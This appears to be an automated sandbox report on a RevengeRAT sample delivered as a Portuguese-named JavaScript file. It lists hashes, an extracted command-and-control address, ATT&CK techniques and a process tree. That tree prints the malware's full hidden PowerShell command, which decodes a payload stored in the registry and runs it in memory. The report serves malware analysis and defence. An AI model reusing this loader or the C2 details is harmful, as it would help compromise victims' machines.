revengerat | 07c41d727f11d4594a6591b644eff38c253e44d4cb908cecfdc66b36dae238e2

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/01/2025, 13:57

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General

Target

Solicitação nº 9822342.js
Size

256KB
MD5

d9502fb08720229c43e883d68c39258c
SHA1

fd889a14456fd1f3a862e6b1d647049c0b63674c
SHA256

07c41d727f11d4594a6591b644eff38c253e44d4cb908cecfdc66b36dae238e2
SHA512

bbdc0c079953acc89e25a654445e36a3b4414b527d67137be752b5101562b12c01643a0468edd02ef30baebe9e3098419073f1ff0c7db512b1b57299e72ab7a2
SSDEEP

6144:o0hOy97siZVxLcCIaqIgj2U1Ska535/KBsSTJ/cK144AGxayi7jcvB3zJFCIc:o0hO27siLxLWrpVM

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

13.49.66.229:333

Mutex

8a25aa6e78e44708a

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	4844	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4844	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4844	powershell.exe
4844	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 4844	4940	wscript.exe	85
PID 4940 wrote to memory of 4844	4940	wscript.exe	85

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Solicitação nº 9822342.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','40');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skzjvf1z.4hh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4844-0-0x00007FFCB6063000-0x00007FFCB6065000-memory.dmp

Filesize
8KB

Download
memory/4844-1-0x000001523F650000-0x000001523F672000-memory.dmp

Filesize
136KB

Download
memory/4844-11-0x00007FFCB6060000-0x00007FFCB6B21000-memory.dmp

Filesize
10.8MB

Download
memory/4844-12-0x00007FFCB6060000-0x00007FFCB6B21000-memory.dmp

Filesize
10.8MB

Download
memory/4844-13-0x0000015241C40000-0x0000015241C84000-memory.dmp

Filesize
272KB

Download
memory/4844-14-0x00000152419B0000-0x00000152419BA000-memory.dmp

Filesize
40KB

Download
memory/4844-15-0x0000015241D10000-0x0000015241D86000-memory.dmp

Filesize
472KB

Download
memory/4844-16-0x00007FFCB6063000-0x00007FFCB6065000-memory.dmp

Filesize
8KB

Download
memory/4844-17-0x00007FFCB6060000-0x00007FFCB6B21000-memory.dmp

Filesize
10.8MB

Download
memory/4844-18-0x00007FFCB6060000-0x00007FFCB6B21000-memory.dmp

Filesize
10.8MB

Download